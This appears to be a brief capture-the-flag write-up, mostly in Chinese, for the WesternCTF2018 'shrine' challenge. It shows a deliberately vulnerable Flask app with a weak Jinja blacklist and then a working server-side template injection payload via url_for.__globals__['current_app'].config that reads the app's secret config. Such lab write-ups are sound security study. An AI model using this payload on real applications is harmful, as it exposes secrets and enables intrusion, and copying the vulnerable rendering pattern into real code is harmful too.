[WesternCTF2018]shrine

[WesternCTF2018]shrine

import flask 
import os 
app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 

@app.route('/') 
def index(): 
    return open(__file__).read() 

@app.route('/shrine/') 
def shrine(shrine): 
    def safe_jinja(s): 
        s = s.replace('(', '').replace(')', '') 
        blacklist = ['config', 'self'] 
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
    return flask.render_template_string(safe_jinja(shrine)) 
if __name__ == '__main__': 
    app.run(debug=True) 

看到flask，读源码发现模板注入。

测试一下：

在shrine下直接{{config}}即可查看所有app.config内容,看源码发现设了黑名单，并过滤了(

/shrine/{{url_for.__globals__}}

current_app’: <Flask ‘app’>这里的current就是指的当前的app，这样我们只需要能查看到这个的config不就可以看到flag了，那么构造payload

/shrine/{{url_for.__globals__['current_app'].config}}